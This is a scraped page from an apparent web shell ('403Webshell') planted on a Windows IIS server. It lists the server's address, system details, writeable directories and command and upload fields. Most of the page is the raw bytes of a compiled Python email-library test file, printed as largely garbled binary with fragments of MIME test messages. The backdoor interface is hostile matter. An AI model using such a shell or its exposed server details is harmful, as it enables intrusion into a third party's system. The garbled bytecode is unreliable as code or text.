403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.51
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/test/test_email/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/test/test_email/__pycache__/test_message.cpython-315.pyc
R
>lqj�c���]PHs]PHs]QHGsGsGs]QHGsGs]QH$G
s
GsQsQQ\
2s
\QQ22sQ	Q
\\
2sQQ\\
2s\Q
6Xc\O$2P!P!)�)�message_from_bytes�message_from_string�policy)�EmailMessage�MIMEPart)�
TestEmailBase�parameterizec�2�[[QU2P2!)c��UPI!�N�)�xs&�1C:\Python315\\Lib\test\test_email\test_message.py�<lambda>�first.<locals>.<lambda>
s���$��)�next�filter)�iterables&r�firstr	s����.��9�4�@�@rc�F`�\sQs]
sn\O
sQsQsQsUs	P!)�Testc��UOP2oQUQ$UO[29^tt^2QUQ$PPP2P!)%fhP!9h)�zabc@xyz�Tozxyz@abc)�_str_msg�assertRaises�
ValueError��self�ms& r�+test_error_on_setitem_if_max_count_exceeded�0Test.test_error_on_setitem_if_max_count_exceededsB���M�M�"�����$��
�
�
�z�
*�
*��A�d�G�+�
*�
*�
*�s�A�A	�A	c��[[OQ2[OQ5oUOUQ*Q2UOUQ*Q2UO
U[2P!)a>            Subject: Ayons asperges pour le =?utf-8?q?d=C3=A9jeuner?=
            From: =?utf-8?q?Pep=C3=A9?= Le Pew <pepe@example.com>
            To: "Penelope Pussycat" <"penelope@example.com">
            MIME-Version: 1.0
            Content-Type: text/plain; charset="utf-8"

            sample text
            �r�subjectu Ayons asperges pour le déjeuner�fromuPepé Le Pew <pepe@example.com>)r�textwrap�dedentr�default�assertEqual�assertIsInstancerrs& r�/test_rfc2043_auto_decoded_and_emailmessage_used�4Test.test_rfc2043_auto_decoded_and_emailmessage_usedsa������1�!� ���
)��	
����9��'I�J�����6��$E�F����a��.rr)
�__name__�
__module__�__qualname__�__firstlineno__rr)r!r,�__static_attributes__�__classdictcell__��
__classdict__s@rrr
s����
�^�^�F� �/�/rrc#�v`�\sQs]&sn\O
sQQ>QQ=Q<Q<\OQ21QQ?Q<Q<\OQ21QQ@Q<QA\OQ21QQ@Q<QA\OQ	21Q
QBQCQA\OQ21QQDQEQA\OQ
21QQ@Q<QA\OQ21QQFQCQA\OQ21QQGQEQA\OQ21QQHQIQJ\OQ21QQKQIQJ\OQ21QQLQIQJ\OQ21QQ?Q<Q<\OQ21QQBQCQA\OQ21-sQs	Qs
Q sQ!Q"2sQ#s
Q$sQ%sQ&sQMsQ'sQ(sQ)sQ*sQ+sQ,sQ-Q.2sQ/sQ0Q12sQ2sQ3sQ4sQ5sQ6sQ7QNQ8QOQ9QPQ:QQ-s Q;s!Q<s"Us#P!)R�TestEmailMessageBase�
empty_message�non_mime_plainzV                To: foo@example.com

                simple text body
                �
mime_non_textz�                To: foo@example.com
                MIME-Version: 1.0
                Content-Type: image/jpg

                bogus body.
                �plain_html_alternativea�                To: foo@example.com
                MIME-Version: 1.0
                Content-Type: multipart/alternative; boundary="==="

                preamble

                --===
                Content-Type: text/plain

                simple body

                --===
                Content-Type: text/html

                <p>simple body</p>
                --===--
                �plain_html_mixeda�                To: foo@example.com
                MIME-Version: 1.0
                Content-Type: multipart/mixed; boundary="==="

                preamble

                --===
                Content-Type: text/plain

                simple body

                --===
                Content-Type: text/html

                <p>simple body</p>

                --===--
                �plain_html_attachment_mixeda�                To: foo@example.com
                MIME-Version: 1.0
                Content-Type: multipart/mixed; boundary="==="

                --===
                Content-Type: text/plain

                simple body

                --===
                Content-Type: text/html
                Content-Disposition: attachment

                <p>simple body</p>

                --===--
                �html_text_attachment_mixeda�                To: foo@example.com
                MIME-Version: 1.0
                Content-Type: multipart/mixed; boundary="==="

                --===
                Content-Type: text/plain
                Content-Disposition: AtTaChment

                simple body

                --===
                Content-Type: text/html

                <p>simple body</p>

                --===--
                �!html_text_attachment_inline_mixeda�                To: foo@example.com
                MIME-Version: 1.0
                Content-Type: multipart/mixed; boundary="==="

                --===
                Content-Type: text/plain
                Content-Disposition: InLine

                simple body

                --===
                Content-Type: text/html
                Content-Disposition: inline

                <p>simple body</p>

                --===--
                �relateda�                To: foo@example.com
                MIME-Version: 1.0
                Content-Type: multipart/related; boundary="==="; type=text/html

                --===
                Content-Type: text/html

                <p>simple body</p>

                --===
                Content-Type: image/jpg
                Content-ID: <image1>

                bogus data

                --===--
                �related_with_starta                To: foo@example.com
                MIME-Version: 1.0
                Content-Type: multipart/related; boundary="==="; type=text/html;
                 start="<body>"

                --===
                Content-Type: text/html
                Content-ID: <include>

                useless text

                --===
                Content-Type: text/html
                Content-ID: <body>

                <p>simple body</p>
                <!--#include file="<include>"-->

                --===--
                �mixed_alternative_plain_relateda�                To: foo@example.com
                MIME-Version: 1.0
                Content-Type: multipart/mixed; boundary="==="

                --===
                Content-Type: multipart/alternative; boundary="+++"

                --+++
                Content-Type: text/plain

                simple body

                --+++
                Content-Type: multipart/related; boundary="___"

                --___
                Content-Type: text/html

                <p>simple body</p>

                --___
                Content-Type: image/jpg
                Content-ID: <image1@cid>

                bogus jpg body

                --___--

                --+++--

                --===
                Content-Type: image/jpg
                Content-Disposition: attachment

                bogus jpg body

                --===
                Content-Type: image/jpg
                Content-Disposition: AttacHmenT

                another bogus jpg body

                --===--
                �$mixed_related_alternative_plain_htmla�                To: foo@example.com
                MIME-Version: 1.0
                Content-Type: multipart/mixed; boundary="==="

                --===
                Content-Type: multipart/related; boundary="+++"

                --+++
                Content-Type: multipart/alternative; boundary="___"

                --___
                Content-Type: text/plain

                simple body

                --___
                Content-Type: text/html

                <p>simple body</p>

                --___--

                --+++
                Content-Type: image/jpg
                Content-ID: <image1@cid>

                bogus jpg body

                --+++--

                --===
                Content-Type: image/jpg
                Content-Disposition: attachment

                bogus jpg body

                --===
                Content-Type: image/jpg
                Content-Disposition: attachment

                another bogus jpg body

                --===--
                �0mixed_related_alternative_plain_html_wrong_ordera�                To: foo@example.com
                MIME-Version: 1.0
                Content-Type: multipart/mixed; boundary="==="

                --===
                Content-Type: multipart/related; boundary="+++"

                --+++
                Content-Type: image/jpg
                Content-ID: <image1@cid>

                bogus jpg body

                --+++
                Content-Type: multipart/alternative; boundary="___"

                --___
                Content-Type: text/plain

                simple body

                --___
                Content-Type: text/html

                <p>simple body</p>

                --___--

                --+++--

                --===
                Content-Type: image/jpg
                Content-Disposition: attachment

                bogus jpg body

                --===
                Content-Type: image/jpg
                Content-Disposition: attachment

                another bogus jpg body

                --===--
                �message_rfc822z�                To: foo@example.com
                MIME-Version: 1.0
                Content-Type: message/rfc822

                To: bar@example.com
                From: robot@examp.com

                this is a message body.
                �mixed_text_message_rfc822a�                To: foo@example.com
                MIME-Version: 1.0
                Content-Type: multipart/mixed; boundary="==="

                --===
                Content-Type: text/plain

                Your message has bounced, sir.

                --===
                Content-Type: message/rfc822

                To: bar@example.com
                From: robot@examp.com

                this is a message body.

                --===--
                c	���UOU2o[UO22oSTt,tFDpwePLVg*MJ	oo]o	]o
]oUOUO	2[U22UOUO	QQ5[U22UOUO	QQ5[V�U
]*22UOUO	QQ5[V�*V�*,22UOUO	QQ5[V�U]*22UOUO	Q,Q5V�*2UOUO	Q,Q5V�*2UOUO	Q,Q5V�*2UOUO	Q	Q5[V�U
]*
P/*22UOUO	Q
Q5[V�*V�*,22UOUO	QQ5[V�PP/*22UOUO	QQ5[UPPP/*22UOUO	Q
Q5[V�*V�*V�*,22P!ttoh)Nr@�html�plain)�preferencelist)r@rHrI)r@rH)r@rI)rHrI)rIrH)rIr@)rHr@)rIrHr@)rHrIr@)r�list�walkr*�get_bodyr)r�
body_parts�attachments�parts�msgr �allparts�n�expectedr@rHrIs&&&&&       r�message_as_get_body�(TestEmailMessageBase.message_as_get_body�so���M�M�#��������>��@J�K�
�1�I�D�8�;�6�
��K���A�T�q�u��������u�X��7�������4D��E��x��	*�	
������3F��G��x��Q��7�8�	:�������3G��H��� 1�8�?�C�D�	F�������3D��E��x�U�1�W�5�6�	8�������I�;��?�!�*�	,�������F�8��<�h�n�M�������G�9��=�x��O�������3D��E��x�d�1�f�R��8�9�	;�������3G��H�����1B�C�D�	F�������3F��G��x��b��1�2�	4�������3O��P��x��"��~�.�	0�������3O��P���� (�� (� 1� 3�4�	5��1Ls
�	K�Kc���UOU2o[UO22oSTt,tFDpvU*MJ
	ooUO[UO	22U2P!ttohr)rrKrLr*�iter_attachments)rrNrOrPrQr rRrSs&&&&&   r�message_as_iter_attachment�/TestEmailMessageBase.message_as_iter_attachment�sZ���M�M�#��������>��,7�8�K�q��{�{�K��8�����a�0�0�2�3�[�A��9s�A/c��QoUOU2o[UO22oSTt,tFDp�U*MJ
	ooUU2%c[UO22L,o	UO	V�2P!ttoh)c��QU7!)zContent-Type: multipartr)rQs&r�_is_multipart_msg�ETestEmailMessageBase.message_as_iter_parts.<locals>._is_multipart_msg�s
��,��3�3r)rrKrL�
iter_partsr*)
rrNrOrPrQr]r rRrSr_s
&&&&&     r�message_as_iter_parts�*TestEmailMessageBase.message_as_iter_parts�sm��	4�
�M�M�#��������>��&+�,�e��!���e��,�->�s�-C�-C�T�!�,�,�.�)��
�����+��-s�Bc�.`�\sQsQsnQsQsQsUsP!)�(TestEmailMessageBase._TestContentManager��c��VU1!rr�rrQ�args�kws&&*,r�get_content�4TestEmailMessageBase._TestContentManager.get_content�s���b�=� rc�,�VmV mV0mP!r)rQrgrhrfs&&*,r�set_content�4TestEmailMessageBase._TestContentManager.set_content�s���H��I��Gr)rgrhrQ)r.r/r0r1rirlr2r3r4s@r�_TestContentManagerrc�s����	!�	�	rrnc�D�UOP2oUO2oUOUOUQ5UQ-12UOQU]]Q5vq4oUOV12UOUQ2UOU[	]]Q52P!�r��content_manager�foo)rr�bar�k�rtrur�rs)rrnr*ri�dict)rr �cmrQrgrhs&     r�test_get_content_with_cm�-TestEmailMessageBase.test_get_content_with_cm�s����M�M�"���
�
%�
%�
'��������r��:�Q��B�K�H��
�
�e�R�Q�!�
�L�
��2����� �����x�(�����T�a�1�-�.rc�~�[OOUO2Q5oUO	PUQ5oUOUO
2UQ-12UO
Q]]Q5vq4oUOV22UOUQ2UOU[]]Q52P!�rqr$rsrvrrw)rr)�clonernrr*rirx)r�pr rQrgrhs&     r�-test_get_content_default_cm_comes_from_policy�BTestEmailMessageBase.test_get_content_default_cm_comes_from_policys����N�N� � ��1I�1I�1K� �L���M�M�"�Q�M�'���������1�b�"�+�6��
�
�e��a�
�8�
��2����� �����x�(�����T�a�1�-�.rc��UOP2oUO2oUOUQ5UOUOU2UOUO
Q2UOUO-2UOQU]]Q5UOUOU2UOUO
Q2UOUO[]]Q52P!rp)rrnrlr*rQrgrhrx�rr rys&  r�test_set_content_with_cm�-TestEmailMessageBase.test_set_content_with_cm
s����M�M�"���
�
%�
%�
'��	�
�
�b�
�)��������#�������"�%��������#�	�
�
�e�R�Q�!�
�<��������#�������(�+���������a� 0�1rc�<�UO2o[OOUQ5oUO	PUQ5oUO2UO
UOU2UO
UOQ2UO
UO-2UOQ]]Q5UO
UOU2UO
UOQ2UO
UO[]]Q52P!r})rnrr)r~rrlr*rQrgrhrx)rryrr s&   r�-test_set_content_default_cm_comes_from_policy�BTestEmailMessageBase.test_set_content_default_cm_comes_from_policys���
�
%�
%�
'���N�N� � �� �4���M�M�"�Q�M�'��	�
�
���������#�������"�%��������#�	�
�
�e��a�
�(��������#�������(�+���������a� 0�1rc�l�UO2oPoQQ,oUQ6wcUOQ2UQ6Xc&PoUOQ2UOP2L#UQ6wc,oUOQQU*12UOQ	2UOU2SFD	vqVVbU$J	V$U1!)
N�
no_content�text�Content-Type�
multipart/)rzfoo@bar.com)�Fromzbar@foo.com)zX-Random-Header�Corwin)r��
text/plain)zX-Trump�Random)�message�append�set_payload)r�subtyper �payload�msg_headers�name�values&&     r�_make_subtype_test_message�/TestEmailMessageBase._make_subtype_test_messageAs����L�L�N����!�#����l�"�)����8�9��f���G����=�>�
�M�M�"��
��
$��G������w�0F�G�H����0�1�	�
�
�g��&�K�D��d�G�'��w�&�&rc��UO[29^tt^2o[V22PPP2[WO2oUOV62UOV&2P!)%fhKI9hr)rr�getattr�str�	exception�assertIn)rr �method_namer��method�ar�exc_texts&&&&&  r� _check_disallowed_subtype_raises�5TestEmailMessageBase._check_disallowed_subtype_raisesXsT��
�
�
�z�
*�
*�b��A�� �+��r�|�|�$���
�
�g�(��
�
�k�,�	+�
*�s�A1�1B	�:B	c�L�]oSFDMvqVUO2OQ2%cJ,UOV*U2U]*
oJO	UO[U2U]*2[	UO22o]oSFDMvqVUO2OQ2%fJ,UOVu*U2U]*
oJO	UO[U2U2UOUO
2U2P!)r�content-)�lower�
startswithr*�lenrr_�get_payload)rr r�r��countr�r��parts&&&&    r�_check_make_multipart�*TestEmailMessageBase._check_make_multipart_s�����&�K�D��:�:�<�*�*�:�6�6�� � ���%�0���
��'�	
����Q���q��)��A�L�L�N�#����&�K�D��z�z�|�&�&�z�2�2�� � ���U�3���
��'�	
����T��E�*�����)�)�+�W�5rc�T�UOU2vqEoQU*oUQ7cUOVAV'2P![VG22UOUO	2Q2UOUO2U2UQ6Xc]UO[
UO22]2UOUO2UQQU*1,*2P!UO[
UO22]2UOVEU2P!)�make_�	multipartr�r�r��r�raises)
r�r�r�r*�get_content_maintype�get_content_subtyper�r��itemsr�)rr�r��outcomer r�r��make_methods&&&&    r�subtype_as_make�$TestEmailMessageBase.subtype_as_makeos���"&�"A�"A�'�"J������&���n�$��1�1�!�W�R�����!�����/�/�1�;�?�����.�.�0�&�9��l�"����S�����1�1�5����Q�W�W�Y�(�^�-9�&�-@�-B�,C�C�
D�
���S�����1�1�5��&�&�q�w�?rc���UO2oUQ	7cMQU*UQ$UO[29^tt^2o[UQU*22PPP2P!UQ6XcQUQ$LUQ6wc
QU*UQ$[UQU*2QQ5UO	UO22UO
UO2Q2P!)%fhP!9h)
rr�r�r�rIr�r��abc)�boundaryr�)r�rrr��
assertTrue�is_multipartr*�get_boundary)rr�r�r�r rys&&&&  r�subtype_as_make_with_boundary�2TestEmailMessageBase.subtype_as_make_with_boundary�s����L�L�N���n�$� ,�w� 6�A�n���"�"�:�.�.�"���7�V�+�,�.�/���g�� ,�A�n��
��
$� ,�w� 6�A�n����7�V�#�$�e�4�������(�)�������)�5�1�/�.��s�C � C1	�)C1	c��QFDyoUOUOOQQ5Q5oQUQ$[V!22UO	UO]2OOQ2J{	P!)�make_relatedrsrqr$r�r�)r��make_alternative�
make_mixed)r�rr~r�r*r�rr)rr�r s&  r�3test_policy_on_part_made_by_make_comes_from_message�HTestEmailMessageBase.test_policy_on_part_made_by_make_comes_from_message�si��H�F����D�K�K�$5�$5�e�$5�$L��M�A� ,�A�n���A�� ����Q�]�]�1�-�4�4�D�D�e�L�	Irc�(`�\sQsQsnQsQsUsP!)�+TestEmailMessageBase._TestSetContentManager�c�4�QUQ$UOU2P!)r�r�)r��rrQ�contentrgrhs&&&*,rrl�7TestEmailMessageBase._TestSetContentManager.set_content�s��".�C����O�O�G�$rr�r.r/r0r1rlr2r3r4s@r�_TestSetContentManagerr��s����	%�	%rr�c��UOU2vqEoUO2oUQ6XcQLQU*oUQ6XcUOVAV(2P![VH2QUQ5UO	UO2Q2UO	UO
2U2V6XfUQ6XcfUO	[UO22]2SFDvq�UO	VI*U
2J	UO2]*oLRUO	[UO22]2UOVEU2UO2]*oUO	UO2Q2UO	UO2Q2UQ6XcUO	UQ	*Q
2P!UQ6XcUO	UQ	*Q2P!UOUQ	*2P!)
�mixed�add_attachment�add_r��testrqr�r�r��Content-Disposition�
attachmentr@�inline)r�r�r�r�r*r�r�r�r�r��get_content_type�assertIsNone)rr�r�r�r r�r�ry�
add_methodr�r�r�s&&&&        r�subtype_as_add�#TestEmailMessageBase.subtype_as_add�s���"&�"A�"A�'�"J����
�
(�
(�
*��)/���%�f�v�o�
��h���1�1�!�W�Q�����v�r�:�����/�/�1�;�?�����.�.�0�&�9����<� 7����S�����1�1�5�*���� � ���%�0� +��=�=�?�1�%�D����S�����1�1�5��&�&�q�w�?��=�=�?�1�%�D�����.�.�0�,�?�����)�)�+�V�4��7�?����T�"7�8�,�G�
�Y�
����T�"7�8�(�C�
���d�#8�9�:rc�>`�\sQsQsnQQ\2sQsQsUsP!)�2TestEmailMessageBase._TestSetRaisingContentManager�c��\sQsQsQsP!)�>TestEmailMessageBase._TestSetRaisingContentManager.CustomError�r)r.r/r0r1r2rrr�CustomErrorr��s��rr�c�&�UOQ2g)r�)r�r�s&&&*,rrl�>TestEmailMessageBase._TestSetRaisingContentManager.set_content�s���"�"�6�*�*rr)	r.r/r0r1�	Exceptionr�rlr2r3r4s@r�_TestSetRaisingContentManagerr��s����	�)�	�	+�	+rr�c	��UO2oUOUOOUQ5Q5oQFDooUO	UOO
29^tt^2o[
V#2P2PPP2UO[WO2Q2Jq	P!)%fhK;9h)rqr$r�)�add_related�add_alternativer�)
r�r�rr~rr�r�r*r�r�)rryr r�r�s&    r�6test_default_content_manager_for_add_comes_from_policy�KTestEmailMessageBase.test_default_content_manager_for_add_comes_from_policy�s���
�
/�
/�
1���L�L���� 1� 1�"� 1� E�L�F��J�F��"�"�4�#E�#E�#Q�#Q�R�R�VX���"�2�&�S����S����.��7�K�R�R�s�1B6	�6C
�?C
c�b�UOU2oUO2UO[U2]2UO[	UO22,2UO
UO22UO[	UO22,2P!)r)	r�clearr*r�rKr�r�r�r_)rrNrOrPrQr s&&&&& r�message_as_clear�%TestEmailMessageBase.message_as_clear�sv���M�M�#���	���	�����Q���#�����a�g�g�i��"�-����!�-�-�/�*�����a�l�l�n�-�r�2rc���UOU2oUO2Tt,tFD,oUO2OQ2%cJ*UMJ.	ooUO	2UO[
UO22U2UOUO22UO[
UO22,2P!ttoh)r�)
r�keysr�r��
clear_contentr*rKr�r�r_)rrNrOrPrQr �h�expected_headerss&&&&&   r�message_as_clear_content�-TestEmailMessageBase.message_as_clear_content�s����M�M�#���'(�v�v�x�E�x�!�#$�7�7�9�#7�#7�
�#C��A�x��E�	��������a�f�f�h��)9�:����!�-�-�/�*�����a�l�l�n�-�r�2��Es�)C�Cc���UO2oUOUO22QUQ$UOUO22UOQQ2UO	UO22UOQQ2UO	UO22UOQQQ2UO	UO22P!)r�r�r��
AtTachMent�filenamezabc.png)�
_make_message�assertFalse�
is_attachment�replace_headerr��	set_paramrs& r�test_is_attachment�'TestEmailMessageBase.test_is_attachment�s������ ��������*�+�#+��
� �������*�+�	���.��=�������)�*�	���.��=�������)�*�	���J�	�+@�A�������)�*rc�n�UO2oUOQ2UOQ2UOQ2UO2O	2oUO[
[UO222]2UOUO2U2P!)zarbitrary text as main partzmore text as a related partz&yet more text as a second "attachment")	r�rlr�r��copyr*r�rKrX)rr �origs&  r�test_iter_attachments_mutation�3TestEmailMessageBase.test_iter_attachments_mutation�s������ ��	�
�
�3�4�	�
�
�3�4�	�
�
�>�?��}�}��#�#�%������T�!�"4�"4�"6�7�8�!�<��������$�/r�good_surrogateescape�string_with_utf8�surrogate_and_utf8�out_of_range_surrogatec�p�UOU2oUOP	Q5oUOV$2P!)ztest for GH issue 94606��decode)rr�r*)rrQrTr r�s&&&  r�!get_payload_surrogate_as_gh_94606�6TestEmailMessageBase.get_payload_surrogate_as_gh_94606s.���M�M�#����-�-�t�-�,������+rr�NNr)rrrr)NNN)N��)rr)NNr)r)NrN)r)rrN)rrN)��r)��)rrr)rrr)rNN))r@r��succeeds)r@�noner)r@rIr)r@r@r)r@�alternativer�)r@r�r�)rr�r)rrr)rrIr)rr@r)rrr)rr�r�)r�r�r)r�rr)r�rIr)r�r@r)r�rr)r�r�r)u4String that can be encod��d with surrogateescapes0String that can be encodëd with surrogateescape)uString with utf-8 charactërsString with utf-8 charact�r)u8String that cannot be ëncod��d with surrogateescapes=String that cannot be �ncod\udcc3\udcabd with surrogateescape)u6String with � cannot be encoded with surrogateescapes9String with \udfff cannot be encoded with surrogateescape)$r.r/r0r1rr)r'r(�message_paramsrUrYr`rnrzr�r�r��subtype_paramsr�r�r�r�r�r�r�r�r�r�r�r�rr	�get_payload_surrogate_paramsrr2r3r4s@rr7r7&s������^�^�F�	��	�����O�O��
�	�	�����O�O��
�	
�	!�����O�O��
�	#�.	�����O�O��
�	�0	&�����O�O��
�	(�.	%�����O�O��
�	'�.	,�����O�O��
�	.�2	�����O�O��
�	�4	�����O�O��
�	�6	*�����O�O�,�,
�	0,�h	/�����O�O�,�,
�	01�j	;�����O�O�,�,
�	0=�d	�����O�O�	�	
�	
�	$�����O�O��
�	&�gL�N�\5�@B�,���/�/�
2�2�&
�N�*'�.-�6� @�$2� M�%�%�
;�:+�+�8�3�3�
+�0�	�!�
	��
	��
	!�#�#$� �.,�,rr7c��`�\sQsQsn\sQsQQ2sQsQs	Qs
QsQ	sQ
s
QsQsQ
sQsQsQsQsQsQsQsQsQsQsQsQsQsQsQsQs Qs!Us"P!)�TestEmailMessage�
c���UOP2oUO2oUOQU2UOUQ5UO	UQ*Q2P!�r�MIME-Versionrq�1.0)rrn�assertNotInrlr*r�s&  r�"test_set_content_adds_MIME_Version�3TestEmailMessage.test_set_content_adds_MIME_VersionsQ���M�M�"���
�
%�
%�
'�������+�	�
�
�b�
�)�����>�*�E�2rc�(`�\sQsQsnQsQsUsP!)�(TestEmailMessage._MIME_Version_adding_CM�c��QUQ$P!)r'r&rrfs&&*,rrl�4TestEmailMessage._MIME_Version_adding_CM.set_contents��"'�C��rrr�r4s@r�_MIME_Version_adding_CMr,s����	(�	(rr0c���UOP2oUO2oUOQU2UOUQ5UO	UQ*Q2P!r%)rr0r(rlr*r�s&  r�0test_set_content_does_not_duplicate_MIME_Version�ATestEmailMessage.test_set_content_does_not_duplicate_MIME_VersionsQ���M�M�"���
�
)�
)�
+�������+�	�
�
�b�
�)�����>�*�E�2rc��UOQ2oUO[UO2O	2O22]2P!��Subject: long line��Subject: long line ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab

�rr*r��	as_string�strip�
splitlinesrs& r�0test_as_string_uses_max_header_length_by_default�ATestEmailMessage.test_as_string_uses_max_header_length_by_default"s>���M�M�B�C������Q�[�[�]�0�0�2�=�=�?�@�!�Drc�F�UOQ2oUO[UO]Q5O	2O22]2UO[UO]"Q5O	2O22]2P!)r6)�maxheaderlenr7r8rs& r�"test_as_string_allows_maxheaderlen�3TestEmailMessage.test_as_string_allows_maxheaderlen&s{���M�M�B�C������Q�[�[�a�[�8�>�>�@�K�K�M�N��	�����Q�[�[�b�[�9�?�?�A�L�L�N�O��	rc���UOQ2oUOQ2UOUOP	Q5Q2UOUOP
Q5Q2P!)r�z%From foo@bar Thu Jan  1 00:00:00 1970)�unixfromz+From foo@bar Thu Jan  1 00:00:00 1970

testz
test)r�set_unixfromr*r9rs& r�test_as_string_unixform�(TestEmailMessage.test_as_string_unixform-sW���M�M�&�!��	���>�?�������d��3�G�	I�������e��4�h�?rc��UOQ2oUO[[U2O	2O22]2P!r5)rr*r�r�r:r;rs& r�+test_str_defaults_to_policy_max_line_length�<TestEmailMessage.test_str_defaults_to_policy_max_line_length4s9���M�M�B�C������S��V�\�\�^�6�6�8�9�1�=rc�\�[2oQUQ$UO[U2Q2P!)uunicöde�SubjectuSubject: unicöde

)rr*r�rs& r�test_str_defaults_to_utf8�*TestEmailMessage.test_str_defaults_to_utf88s'���N��!��)������Q��!8�9rc�\�[2oQUQ$UO[U2Q2P!)uDHello Wörld! Hello Wörld! Hello Wörld! Hello Wörld!Hello Wörld!rKs|Subject: Hello =?utf-8?q?W=C3=B6rld!_Hello_W=C3=B6rld!_Hello_W=C3=B6rld!?=
 Hello =?utf-8?q?W=C3=B6rld!Hello_W=C3=B6rld!?=

�rr*�bytesrs& r�!test_folding_with_utf8_encoding_1�2TestEmailMessage.test_folding_with_utf8_encoding_1=s2��
�N��B��)������q��P�	Qrc�\�[2oQUQ$UO[U2Q2P!)uHHello Wörld! Hello Wörld! Hello Wörlds123! Hello Wörld!Hello Wörld!rKs�Subject: Hello =?utf-8?q?W=C3=B6rld!_Hello_W=C3=B6rld!_Hello_W=C3=B6rlds123!?=
 Hello =?utf-8?q?W=C3=B6rld!Hello_W=C3=B6rld!?=

rOrs& r�!test_folding_with_utf8_encoding_2�2TestEmailMessage.test_folding_with_utf8_encoding_2Ns2��
�N��F��)������q��P�	Qrc�\�[2oQUQ$UO[U2Q2P!)uHHello-Wörld!-Hello-Wörld!-Hello-Wörlds123! Hello Wörld!Hello Wörld!rKs�Subject: =?utf-8?q?Hello-W=C3=B6rld!-Hello-W=C3=B6rld!-Hello-W=C3=B6rlds123!?=
 Hello =?utf-8?q?W=C3=B6rld!Hello_W=C3=B6rld!?=

rOrs& r�!test_folding_with_utf8_encoding_3�2TestEmailMessage.test_folding_with_utf8_encoding_3^s1��
�N��4��)������q��P�	Qrc�\�[2oQUQ$UO[U2Q2P!)uHHello-Wörld!-Hello-Wörld!-Hello-Wörlds123!-Hello Wörld!Hello Wörld!rKs�Subject: =?utf-8?q?Hello-W=C3=B6rld!-Hello-W=C3=B6rld!-Hello-W=C3=B6rlds123!?=
 =?utf-8?q?-Hello_W=C3=B6rld!Hello_W=C3=B6rld!?=

rOrs& r�!test_folding_with_utf8_encoding_4�2TestEmailMessage.test_folding_with_utf8_encoding_4ns1��
�N��/��)������q��Q�	Rrc�\�[2oQUQ$UO[U2Q2P!)uS123456789 123456789 123456789 123456789 123456789 123456789 123456789 Hello Wörld!rKsoSubject: 123456789 123456789 123456789 123456789 123456789 123456789 123456789
 Hello =?utf-8?q?W=C3=B6rld!?=

rOrs& r�!test_folding_with_utf8_encoding_5�2TestEmailMessage.test_folding_with_utf8_encoding_5~s0��
�N��<��)������q��?�	@rc�\�[2oQUQ$UO[U2Q2P!)uq123456789 123456789 123456789 123456789 Hello Wörld! 123456789 123456789 123456789 123456789 123456789 123456789rKs�Subject: 123456789 123456789 123456789 123456789 Hello =?utf-8?q?W=C3=B6rld!?=
 123456789 123456789 123456789 123456789 123456789 123456789

rOrs& r�!test_folding_with_utf8_encoding_6�2TestEmailMessage.test_folding_with_utf8_encoding_6�s1��
�N��$��)��	
����q��*�	+rc�\�[2oQUQ$UO[U2Q2P!)uo123456789 123456789 Hello Wörld! Hello Wörld! 123456789-123456789 123456789 Hello Wörld! 123456789 123456789rKs�Subject: 123456789 123456789 Hello =?utf-8?q?W=C3=B6rld!_Hello_W=C3=B6rld!?=
 123456789-123456789 123456789 Hello =?utf-8?q?W=C3=B6rld!?= 123456789
 123456789

rOrs& r�!test_folding_with_utf8_encoding_7�2TestEmailMessage.test_folding_with_utf8_encoding_7�s3��
�N��$��)��	
����q��N�	Orc�\�[2oQUQ$UO[U2Q2P!)u�123456789 123456789 Hello Wörld! Hello Wörld! 123456789 123456789 123456789 123456789 123456789 123456789-123456789 123456789 Hello Wörld! 123456789 123456789rKs�Subject: 123456789 123456789 Hello =?utf-8?q?W=C3=B6rld!_Hello_W=C3=B6rld!?=
 123456789 123456789 123456789 123456789 123456789 123456789-123456789
 123456789 Hello =?utf-8?q?W=C3=B6rld!?= 123456789 123456789

rOrs& r�!test_folding_with_utf8_encoding_8�2TestEmailMessage.test_folding_with_utf8_encoding_8�s3��
�N��$��)��	
����q��L�	Mrc���[[O2oQUQ$[UO	2[OQ5oUOUQ*UQ*2P!)�	123456789�
Message-IDr$�123456789123456789123456789)rrr)r�as_bytesr*)rr �
parsed_msgs&  r�!test_folding_with_short_nospace_1�2TestEmailMessage.test_folding_with_short_nospace_1�sJ��
����(��)��,��'��
�
��V�^�^�L�
�����L�1�1�\�?�Crc�<�[[O2oQoV!Q$UOUO	2QUQ0O22[
UO	2[OQ5oUOUQ*UQ*2P!)rirjz
Message-ID:
 z

r$�Z123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789)rrr)r*rl�encoder�rr r�rms&   r�/test_folding_with_long_nospace_default_policy_1�@TestEmailMessage.test_folding_with_long_nospace_default_policy_1�sy��
����(��"��!�,���������)�'��$�7�>�>�@�	B�'��
�
��V�^�^�L�
�����L�1�1�\�?�Crc���[[O2oQoV!Q$[UO	2[O
Q5oUO
UQ*UQ*2P!�rirjr$rq)rr�compat32rrlr)r*rss&   r�0test_folding_with_long_nospace_compat32_policy_1�ATestEmailMessage.test_folding_with_long_nospace_compat32_policy_1�sK������)��"��!�,��'��
�
��V�^�^�L�
�����L�1�1�\�?�Crc���[[O2oQoV!Q$[UO	2[O
Q5oUO
UQ*UQ*2P!rw)rr�SMTPrrlr)r*rss&   r�,test_folding_with_long_nospace_smtp_policy_1�=TestEmailMessage.test_folding_with_long_nospace_smtp_policy_1��K������%��"��!�,��'��
�
��V�^�^�L�
�����L�1�1�\�?�Crc���[[O2oQoV!Q$[UO	2[O
Q5oUO
